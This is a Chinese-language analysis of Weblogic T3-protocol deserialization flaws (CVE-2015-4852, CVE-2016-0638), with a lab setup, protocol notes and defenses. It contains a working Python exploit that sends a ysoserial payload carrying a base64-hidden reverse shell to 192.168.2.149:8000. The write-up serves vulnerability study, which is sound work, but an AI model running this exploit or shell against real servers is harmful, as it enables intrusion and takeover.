Weblogic 关于T3协议和二次反序列化分析
字数 1382 2025-08-25 22:58:56
Weblogic T3协议与二次反序列化漏洞分析
环境搭建
准备工作
-
下载对应版本的JDK和Weblogic
- JDK版本:jdk-7u21-linux-x64.tar.gz
- Weblogic版本:wls1036_generic.jar
-
修改Dockerfile
- 删除
RUN yum -y install libnsl以避免安装错误
- 删除
构建Docker镜像
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz \
--build-arg WEBLOGIC_JAR=wls1036_generic.jar \
-t weblogic1036jdk7u21 .
运行容器
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 \
--name weblogic1036jdk7u21 weblogic1036jdk7u21
远程调试配置
- 从容器中提取必要文件:
mkdir ./middleware
mkdir -p ./coherence_3.7/lib
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
-
新建Web项目并添加库:
- 添加导出的
coherence_3.7/lib和modules目录
- 添加导出的
-
配置远程调试并启动Debug模式
T3协议分析
协议组成
- T3协议是Weblogic用于通信的专有协议
- Weblogic Server的RMI通信使用它在不同区域的Java程序间传输数据
协议特征
- 反序列化标志:
ac ed 00 05 - T3协议中每个序列化数据包前面都有
fe 01 00 00 - 完整的T3序列化标志:
fe 01 00 00 ac ed 00 05
协议特点
- 可以发送多个序列化数据
- 可以替换其中一个序列化数据实现反序列化攻击
反序列化漏洞分析
CVE-2015-4852
漏洞位置:weblogic/rjvm/InboundMsgAbbrev.class
关键点:
- Weblogic收到T3协议时会在
InboundMsgAbbrev类中进行反序列化处理 - 重写了
readObject方法,调用了ServerChannelInputStream ServerChannelInputStream重写了resolveClass方法,但最终仍调用父类的resolveClass
漏洞原理:
resolveClass方法将类的序列化描述加工成Class对象- 由于没有过滤直接调用父类的
resolveClass,可以加载恶意Class对象
调试验证:
- 在
weblogic/wsee/jaxws/WLSServletAdapter.class的handle方法设置断点 - 访问
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
POC代码:
from os import popen
import struct
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget, cmd):
YSO_PATH = "./ysoserial-all.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
data += sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
print(data.decode())
match = compile.findall(data.decode())
if match:
print("Weblogic:" + ''.join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)
CVE-2016-0638(二次反序列化)
漏洞位置:weblogic/jms/common/StreamMessageImpl
关键点:
- 调用了一次
readExternal方法 - 又调用了一次
readObject方法 - 实现了两次反序列化操作
漏洞原理:
readInt()读取输入数据的长度Math.min(var1, Chunk.CHUNK_SIZE * 2)取出chunk长度中较小的一位- 将读取到的chunk进行反序列化
- 重写
writeExternal()方法,将需要二次反序列化的数据写入 - 再次进行序列化
相关CVE列表
- CVE-2015-4852(初始漏洞)
- CVE-2016-0638(绕过补丁)
- CVE-2016-3510(绕过补丁)
- CVE-2018-2628(绕过补丁)
- CVE-2020-2555(绕过补丁)
- CVE-2020-2883(绕过补丁)
防御措施
- 及时更新Weblogic补丁
- 限制T3协议的访问
- 监控异常的反序列化操作
- 使用安全产品检测和阻断攻击行为